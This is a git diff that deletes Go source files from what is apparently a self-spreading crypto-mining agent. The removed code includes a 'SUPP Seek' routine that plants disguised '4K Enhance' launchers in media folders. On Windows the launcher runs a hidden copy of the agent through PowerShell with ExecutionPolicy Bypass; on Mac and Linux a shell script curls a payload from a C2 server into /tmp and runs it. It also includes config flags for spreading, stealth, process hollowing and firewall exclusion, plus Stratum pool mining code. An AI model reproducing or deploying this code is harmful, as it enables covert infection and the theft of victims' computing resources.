"kawpow", - } - g.mu.Unlock() - } - } -} - -func avg(samples []float64, last int) float64 { - if len(samples) == 0 || last <= 0 { - return 0 - } - if last > len(samples) { - last = len(samples) - } - slice := samples[len(samples)-last:] - var sum float64 - for _, v := range slice { - sum += v - } - return sum / float64(len(slice)) -} - -func (g *GPUMiner) apiPort() int { - switch g.info.Vendor { - case GPUVendorNVIDIA: - return 4067 - case GPUVendorAMD: - return 4068 - default: - return 4067 - } -} - -// buildPoolURL constructs the stratum URL for a given pool endpoint. -func buildPoolURL(ep rvnEndpoint) string { - scheme := "stratum+tcp" - if ep.tls { - scheme = "stratum+ssl" - } - return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port) -} - -// ---- Miner binary management ---- - -type minerSpec struct { - fileName string - downloadURL string -} - -func (g *GPUMiner) spec() minerSpec { - switch g.info.Vendor { - case GPUVendorNVIDIA: - return minerSpec{ - fileName: "t-rex.exe", - downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip", - } - default: // AMD - return minerSpec{ - fileName: "teamredminer.exe", - downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip", - } - } -} - -func (g *GPUMiner) ensureMinerBinary() (string, error) { - spec := g.spec() - - // 1. Check the agent's install directory first. - binPath := filepath.Join(g.installDir, spec.fileName) - if _, err := os.Stat(binPath); err == nil { - return binPath, nil - } - - // 2. Check the directory that contains the running agent binary (side-by-side). - if exePath, err := os.Executable(); err == nil { - sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName) - if _, err := os.Stat(sideBySide); err == nil { - log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName) - return sideBySide, nil - } - } - - // 3. Fall back to downloading from GitHub. - log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)") - if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil { - return "", fmt.Errorf("download failed: %w", err) - } - if _, err := os.Stat(binPath); err != nil { - return "", fmt.Errorf("binary not found after download: %s", binPath) - } - return binPath, nil -} - -func downloadAndExtract(url, destDir, targetFile string) error { - client := &http.Client{Timeout: 5 * time.Minute} - resp, err := client.Get(url) - if err != nil { - return err - } - defer resp.Body.Close() - if resp.StatusCode != http.StatusOK { - return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url) - } - data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20)) - if err != nil { - return err - } - return extractZipFile(data, destDir, targetFile) -} - -// ---- Miner HTTP API polling ---- - -// T-Rex summary response (subset we care about). -type trexSummary struct { - Hashrate int `json:"hashrate"` - GPUs []struct { - Temperature int `json:"temperature"` - GpuLoad int `json:"gpu_load"` - } `json:"gpus"` -} - -// TeamRedMiner status response (subset). -type trmStatus struct { - Algorithms []struct { - Name string `json:"algorithm"` - TotalMHs float64 `json:"mhsh_total"` - } `json:"algorithms"` - GPUs []struct { - TempC int `json:"temp_c"` - Fan int `json:"fan_pct"` - } `json:"gpus"` -} - -func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) { - url := fmt.Sprintf("http://127.0.0.1:%d/summary", port) - resp, e := http.Get(url) //nolint:noctx - if e != nil { - return 0, nil, nil, e - } - defer resp.Body.Close() - body, _ := io.ReadAll(resp.Body) - - switch vendor { - case GPUVendorNVIDIA: - var s trexSummary - if e := json.Unmarshal(body, &s); e != nil { - return 0, nil, nil, e - } - hashrate = float64(s.Hashrate) - if len(s.GPUs) > 0 { - t := s.GPUs[0].Temperature - u := s.GPUs[0].GpuLoad - tempC = &t - usagePct = &u - } - case GPUVendorAMD: - var s trmStatus - if e := json.Unmarshal(body, &s); e != nil { - return 0, nil, nil, e - } - for _, a := range s.Algorithms { - if a.Name == "kawpow" || a.Name == "KawPoW" { - hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s - } - } - if len(s.GPUs) > 0 { - t := s.GPUs[0].TempC - u := s.GPUs[0].Fan - tempC = &t - usagePct = &u - } - } - return -} diff --git a/usb/agent/client/supp_seek.go b/usb/agent/client/supp_seek.go deleted file mode 100644 index c5fea98..0000000 --- a/usb/agent/client/supp_seek.go +++ /dev/null @@ -1,86 +0,0 @@ -package client - -import ( - "fmt" - "os" - "path/filepath" - "strings" -) - -// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory. -type suppSeekOpts struct { - DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy - DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap) - ServerURL string - // Name prefix used for the launcher files. - FileStem string // default: "4K Enhance" -} - -type suppSeekResult struct { - Dirs int // directories visited - Seeded int // directories where files were placed - Skipped int // already seeded - Files int // total files placed - Errors int - FirstErr string -} - -func (r suppSeekResult) Summary() string { - return fmt.Sprintf( - "SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)", - r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors, - ) -} - -// mediaExtensions is the set of file extensions that mark a directory as a -// target — if a directory contains any of these the launcher files are dropped. -var mediaExtensions = map[string]struct{}{ - ".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {}, - ".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {}, - ".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {}, -} - -func isMediaDir(dirPath string) bool { - entries, err := os.ReadDir(dirPath) - if err != nil { - return false - } - for _, e := range entries { - if e.IsDir() { - continue - } - ext := strings.ToLower(filepath.Ext(e.Name())) - if _, ok := mediaExtensions[ext]; ok { - return true - } - } - return false -} - -// batContent returns the content of the Windows .bat launcher. -// It launches the co-located VideoEnhancer.exe silently. -func batContent(stem string) string { - return "@echo off\r\n" + - "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " + - "-Command \"& { " + - "$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " + - "if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " + - "}\"\r\n" -} - -// commandContent returns the content of the Mac/Linux .command shell script. -// Falls back to a C2 download if the server URL is known. -func commandContent(serverURL string) string { - dl := "" - if serverURL != "" { - dl = fmt.Sprintf( - "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ - "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", - serverURL, - ) - } - return "#!/bin/bash\n" + - "# Video Enhancement Service\n" + - dl + - "exit 0\n" -} diff --git a/usb/agent/client/supp_seek_stub.go b/usb/agent/client/supp_seek_stub.go deleted file mode 100644 index 9f28d67..0000000 --- a/usb/agent/client/supp_seek_stub.go +++ /dev/null @@ -1,54 +0,0 @@ -//go:build !windows - -package client - -import ( - "os" - "path/filepath" -) - -// suppSeekWalk seeds each media directory with Mac/Linux launchers. -// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped. -func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult { - stem := opts.FileStem - if stem == "" { - stem = "4K Enhance" - } - - res := suppSeekResult{} - - _ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error { - if err != nil || !d.IsDir() { - return nil - } - res.Dirs++ - - if !isMediaDir(path) { - return nil - } - - cmdPath := filepath.Join(path, stem+".command") - if _, err := os.Stat(cmdPath); err == nil { - res.Skipped++ - return nil - } - - placed := 0 - if opts.DropMac || (!opts.DropWindows && !opts.DropMac) { - content := commandContent(opts.ServerURL) - if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil { - placed++ - } - } - - if placed > 0 { - res.Seeded++ - res.Files += placed - } else { - res.Errors++ - } - return nil - }) - - return res -} diff --git a/usb/agent/client/supp_seek_windows.go b/usb/agent/client/supp_seek_windows.go deleted file mode 100644 index 1769b80..0000000 --- a/usb/agent/client/supp_seek_windows.go +++ /dev/null @@ -1,99 +0,0 @@ -//go:build windows - -package client - -import ( - "io" - "os" - "path/filepath" -) - -// suppSeekWalk walks rootPath recursively and seeds each media directory. -func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult { - stem := opts.FileStem - if stem == "" { - stem = "4K Enhance" - } - - res := suppSeekResult{} - - _ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error { - if err != nil || !d.IsDir() { - return nil - } - res.Dirs++ - - if !isMediaDir(path) { - return nil - } - - // Check if already seeded (bat file exists). - batPath := filepath.Join(path, stem+".bat") - if _, err := os.Stat(batPath); err == nil { - res.Skipped++ - return nil - } - - placed := 0 - - if opts.DropWindows { - // 1. Copy the running binary as "4K Enhance.exe" (or stem). - self, err := os.Executable() - if err == nil { - dst := filepath.Join(path, stem+".exe") - if copyFile(self, dst) == nil { - placed++ - } - } - // 2. Drop the .bat launcher that runs the exe silently. - bat := batContent(stem) - if writeFile(batPath, []byte(bat)) == nil { - placed++ - } - } - - if opts.DropMac { - // Drop a .command shell script for Mac/Linux. - cmdPath := filepath.Join(path, stem+".command") - content := commandContent(opts.ServerURL) - if writeFile(cmdPath, []byte(content)) == nil { - // .command files need +x to auto-run on macOS. - _ = os.Chmod(cmdPath, 0755) - placed++ - } - } - - if placed > 0 { - res.Seeded++ - res.Files += placed - } else { - res.Errors++ - } - return nil - }) - - return res -} - -// copyFile copies src to dst, creating or overwriting dst. -func copyFile(src, dst string) error { - in, err := os.Open(src) - if err != nil { - return err - } - defer in.Close() - - out, err := os.Create(dst) - if err != nil { - return err - } - defer out.Close() - - _, err = io.Copy(out, in) - return err -} - -// writeFile writes data to path atomically enough for our use. -func writeFile(path string, data []byte) error { - return os.WriteFile(path, data, 0644) -} diff --git a/usb/agent/config/builtin.go b/usb/agent/config/builtin.go deleted file mode 100644 index 46a55dc..0000000 --- a/usb/agent/config/builtin.go +++ /dev/null @@ -1,63 +0,0 @@ -package config - -import "time" - -func GetBuiltinConfig() BuiltinConfig { - return BuiltinConfig{ - WorkerName: "dev-worker", - ServerURL: "http://127.0.0.1:8989", - Wallet: "", - Threads: 4, - ThreadMode: "percent", - ThreadPercent: 75, - CPUPriority: "below_normal", - MiningMode: "always", - MinerExecution: "inprocess", - DisplayMode: "visible", - SilentMode: false, - RunAs: "user", - AutoStart: false, - ProcessName: "CryptoMinerWorker", - BuildID: "dev", - BuiltAt: time.Now(), - PoolHost: "pool.supportxmr.com", - PoolPort: 3333, - PoolTLS: false, - PoolPass: "x", - MaxCPUUsage: 95, - MaxMemoryPct: 85, - MinFreeRAM: 512, - IdleThresholdPct: 20, - IdleDurationMinutes: 5, - ScheduleStart: "21:00", - ScheduleEnd: "06:00", - InstallBase: "localappdata", - InstallRelativePath: DefaultInstallRelativePath, - AdaptToHardware: true, - SelfHealing: true, - FileLogging: true, - StealthMode: false, - FirewallExclusion: true, - AIEnabled: false, - AIOllamaEndpoint: "http://localhost:11434", - AIModel: "llama3.2", - ProcessHollowing: false, - MeshP2P: false, - AutoSpread: false, - HolePunch: false, - RemoteAggressive: false, - USBSpread: false, - ShareSpread: false, - GPUEnabled: false, - RVNWallet: "", - RVNPoolHost: "rvn.2miners.com", - RVNPoolPort: 6060, - RVNPoolTLS: false, - RVNPoolPass: "x", - LotlOnionEnabled: false, - LotlPolicyFromServer: false, - DnsTxtSpread: true, - WebRTCMeshSpread: false, - WSUSCachePeerSpread: true, - } -} diff --git a/usb/agent/miner/engine.go b/usb/agent/miner/engine.go deleted file mode 100644 index d9bad09..0000000 --- a/usb/agent/miner/engine.go +++ /dev/null @@ -1,85 +0,0 @@ -package miner - -import ( - "encoding/hex" - "errors" - "fmt" - "sync" - - "git.gammaspectra.live/P2Pool/go-randomx" -) - -var ( - ErrEngineNotReady = errors.New("randomx VM not initialized") - ErrBlobTooShort = errors.New("blob shorter than nonce offset") -) - -const nonceOffset = 39 -const nonceSize = 4 - -// go-randomx is a pure-Go implementation; hardware flags are ignored internally. -const randomxFlags = 0 - -type Engine struct { - mu sync.RWMutex - cache *randomx.Randomx_Cache - vm *randomx.VM - seedHex string - blob []byte -} - -func NewEngine() *Engine { - cache := randomx.Randomx_alloc_cache(randomxFlags) - return &Engine{cache: cache} -} - -func (e *Engine) SetJob(seedHex, blobHex string) error { - seed, err := hex.DecodeString(seedHex) - if err != nil { - return err - } - blob, err := hex.DecodeString(blobHex) - if err != nil { - return err - } - - e.mu.Lock() - defer e.mu.Unlock() - - if e.seedHex != seedHex { - e.cache.Randomx_init_cache(seed) - // go-randomx requires SuperScalar programs to be built separately after - // seeding the cache; Randomx_init_cache only populates the Argon2d blocks. - // Without this step every CalculateHash call crashes with a nil-pointer. - gen := randomx.Init_Blake2Generator(seed, 0) - for i := range e.cache.Programs { - e.cache.Programs[i] = randomx.Build_SuperScalar_Program(gen) - } - e.vm = e.cache.VM_Initialize() - e.seedHex = seedHex - } - e.blob = append([]byte(nil), blob...) - return nil -} - -func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) { - e.mu.RLock() - defer e.mu.RUnlock() - - if e.vm == nil { - return "", "", ErrEngineNotReady - } - if len(e.blob) < nonceOffset+nonceSize { - return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob)) - } - - work := append([]byte(nil), e.blob...) - work[nonceOffset] = byte(nonce) - work[nonceOffset+1] = byte(nonce >> 8) - work[nonceOffset+2] = byte(nonce >> 16) - work[nonceOffset+3] = byte(nonce >> 24) - - out := make([]byte, 32) - e.vm.CalculateHash(work, out) - return hex.EncodeToString(out), hex.EncodeToString(work), nil -} diff --git a/usb/agent/miner/stratum.go b/usb/agent/miner/stratum.go deleted file mode 100644 index 562f787..0000000 --- a/usb/agent/miner/stratum.go +++ /dev/null @@ -1,329 +0,0 @@ -package miner - -// StratumClient provides a minimal Monero Stratum client that the agent falls -// back to when the C2 server is unreachable. It feeds jobs directly into the -// existing miner.Pool so hashing never stops, and submits found shares back to -// the pool over Stratum so they are not lost. -// -// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages. -// Reference: https://p2pool.io/docs/stratum.html - -import ( - "bufio" - "crypto/tls" - "encoding/json" - "fmt" - "log" - "net" - "time" - - "crypto-miner-agent/config" - "crypto-miner-agent/job" -) - -// ─── Wire types ────────────────────────────────────────────────────────────── - -type stratumMsg struct { - ID interface{} `json:"id"` - JSONRPC string `json:"jsonrpc,omitempty"` - Method string `json:"method,omitempty"` - Params json.RawMessage `json:"params,omitempty"` - Result json.RawMessage `json:"result,omitempty"` - Error interface{} `json:"error,omitempty"` -} - -type loginResult struct { - ID string `json:"id"` - Job *stratumJob `json:"job"` - Status string `json:"status"` -} - -type stratumJob struct { - Blob string `json:"blob"` - JobID string `json:"job_id"` - Target string `json:"target"` - SeedHash string `json:"seed_hash"` - Height int64 `json:"height"` -} - -type submitParams struct { - ID string `json:"id"` - JobID string `json:"job_id"` - Nonce string `json:"nonce"` - Hash string `json:"result"` // field name "result" in Stratum protocol -} - -// ─── Pool endpoint list ─────────────────────────────────────────────────────── - -type stratumEndpoint struct { - Host string - Port int - TLS bool - Pass string -} - -func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint { - eps := []stratumEndpoint{{ - Host: cfg.PoolHost, - Port: cfg.PoolPort, - TLS: cfg.PoolTLS, - Pass: cfg.PoolPass, - }} - for _, bp := range cfg.BackupPools { - if bp.Host != "" && bp.Port > 0 { - eps = append(eps, stratumEndpoint{ - Host: bp.Host, - Port: bp.Port, - TLS: bp.TLS, - Pass: bp.Pass, - }) - } - } - return eps -} - -// ─── StratumClient ─────────────────────────────────────────────────────────── - -// StratumClient mines via a direct Stratum connection. It is started when the -// C2 server is unreachable and stopped as soon as C2 comes back. -type StratumClient struct { - pool *Pool - cfg config.RuntimeConfig -} - -func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient { - return &StratumClient{pool: pool, cfg: cfg} -} - -// RunFallback cycles through all configured pools, trying each in turn, until -// stopCh is closed. If a pool does not deliver a mining job within 5 seconds -// of a successful login the connection is dropped and the next pool is tried. -func (s *StratumClient) RunFallback(stopCh <-chan struct{}) { - if s.cfg.PoolHost == "" { - log.Printf("[stratum] no pool configured — fallback unavailable") - return - } - endpoints := buildStratumEndpoints(s.cfg) - idx := 0 - for { - select { - case <-stopCh: - return - default: - } - ep := endpoints[idx%len(endpoints)] - log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints)) - if err := s.runPool(ep, stopCh); err != nil { - log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err) - } - idx++ - // Short pause between pool attempts so we don't hammer them. - select { - case <-stopCh: - return - case <-time.After(3 * time.Second): - } - } -} - -// runPool manages one Stratum connection until it fails or stopCh is closed. -func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error { - addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port)) - var conn net.Conn - var err error - if ep.TLS { - conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec - } else { - conn, err = net.DialTimeout("tcp", addr, 10*time.Second) - } - if err != nil { - return err - } - defer conn.Close() - - // Set up a reader (Stratum is newline-delimited JSON). - reader := bufio.NewReader(conn) - msgID := 1 - - // ── Login ──────────────────────────────────────────────────────────────── - wallet := s.cfg.Wallet - pass := ep.Pass - if pass == "" { - pass = "x" - } - loginReq, _ := json.Marshal(stratumMsg{ - ID: msgID, - JSONRPC: "2.0", - Method: "login", - Params: mustMarshal(map[string]interface{}{ - "login": wallet, - "pass": pass, - "rigid": s.cfg.WorkerName, - "agent": "AetherForge/" + config.Version, - }), - }) - msgID++ - if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil { - return fmt.Errorf("login send: %w", err) - } - _ = conn.SetDeadline(time.Now().Add(30 * time.Second)) - loginLine, err := reader.ReadString('\n') - if err != nil { - return fmt.Errorf("login read: %w", err) - } - _ = conn.SetDeadline(time.Time{}) // clear deadline - - var loginResp stratumMsg - if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil { - return fmt.Errorf("login parse: %w", err) - } - if loginResp.Error != nil { - return fmt.Errorf("login error: %v", loginResp.Error) - } - var lr loginResult - if err := json.Unmarshal(loginResp.Result, &lr); err != nil { - return fmt.Errorf("login result parse: %w", err) - } - sessionID := lr.ID - log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID) - - // Feed the initial job from the login response. - gotJob := lr.Job != nil - if lr.Job != nil { - s.setJob(lr.Job) - } - - // ── Share submission channel ────────────────────────────────────────────── - // The pool's share handler sends shares here; this goroutine drains them - // and writes submit requests to the Stratum connection. - shareCh := make(chan [3]string, 64) // [jobID, nonce, hash] - s.pool.SetShareHandler(func(jobID, nonce, hash string) { - select { - case shareCh <- [3]string{jobID, nonce, hash}: - default: - log.Printf("[stratum] share channel full — dropping share") - } - }) - - // innerDone is closed when runPool returns for any reason (connection error - // or stopCh). It signals the submit goroutine to exit even when stopCh is - // still open, preventing a hang until the next share arrives. - innerDone := make(chan struct{}) - submitDone := make(chan struct{}) - go func() { - defer close(submitDone) - for { - select { - case <-stopCh: - return - case <-innerDone: - return - case share, ok := <-shareCh: - if !ok { - return - } - params, _ := json.Marshal(submitParams{ - ID: sessionID, - JobID: share[0], - Nonce: share[1], - Hash: share[2], - }) - req, _ := json.Marshal(stratumMsg{ - ID: msgID, - JSONRPC: "2.0", - Method: "submit", - Params: params, - }) - msgID++ - if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil { - log.Printf("[stratum] submit write error: %v", err) - return - } - } - } - }() - // Signal the submit goroutine and wait for it when runPool returns. - defer func() { - close(innerDone) - <-submitDone - }() - - // Close the TCP connection as soon as stopCh fires so that the blocking - // reader.ReadString call (120 s deadline) unblocks immediately rather than - // making callers wait up to two minutes for the fallback to stop. - go func() { - select { - case <-stopCh: - _ = conn.Close() - case <-innerDone: - } - }() - - // ── Job receive loop ────────────────────────────────────────────────────── - // If the login response contained no job, give the pool 60 seconds to push - // one before we give up and rotate to the next endpoint. - var jobDeadline <-chan time.Time - if !gotJob { - jobDeadline = time.After(60 * time.Second) - } - - keepalive := time.NewTicker(60 * time.Second) - defer keepalive.Stop() - - for { - select { - case <-stopCh: - return nil - case <-jobDeadline: - return fmt.Errorf("no job received within 60s — rotating to next pool") - case <-keepalive.C: - req, _ := json.Marshal(stratumMsg{ - ID: msgID, - JSONRPC: "2.0", - Method: "keepalived", - Params: mustMarshal(map[string]string{"id": sessionID}), - }) - msgID++ - _, _ = fmt.Fprintf(conn, "%s\n", req) - default: - } - - _ = conn.SetDeadline(time.Now().Add(120 * time.Second)) - line, err := reader.ReadString('\n') - if err != nil { - return fmt.Errorf("read: %w", err) - } - var msg stratumMsg - if err := json.Unmarshal([]byte(line), &msg); err != nil { - continue - } - if msg.Method == "job" { - var sj stratumJob - if err := json.Unmarshal(msg.Params, &sj); err == nil { - s.setJob(&sj) - jobDeadline = nil // job received — cancel the 60s rotation timer - } - } - } -} - -// setJob converts a Stratum job into the agent's internal job.Job format and -// feeds it into the miner Pool. -func (s *StratumClient) setJob(sj *stratumJob) { - if sj == nil || sj.Blob == "" { - return - } - j := &job.Job{ - ID: sj.JobID, - Blob: sj.Blob, - Target: sj.Target, - SeedHash: sj.SeedHash, - } - s.pool.SetJob(j) - log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height) -} - -func mustMarshal(v interface{}) json.RawMessage { - b, _ := json.Marshal(v) - return b -}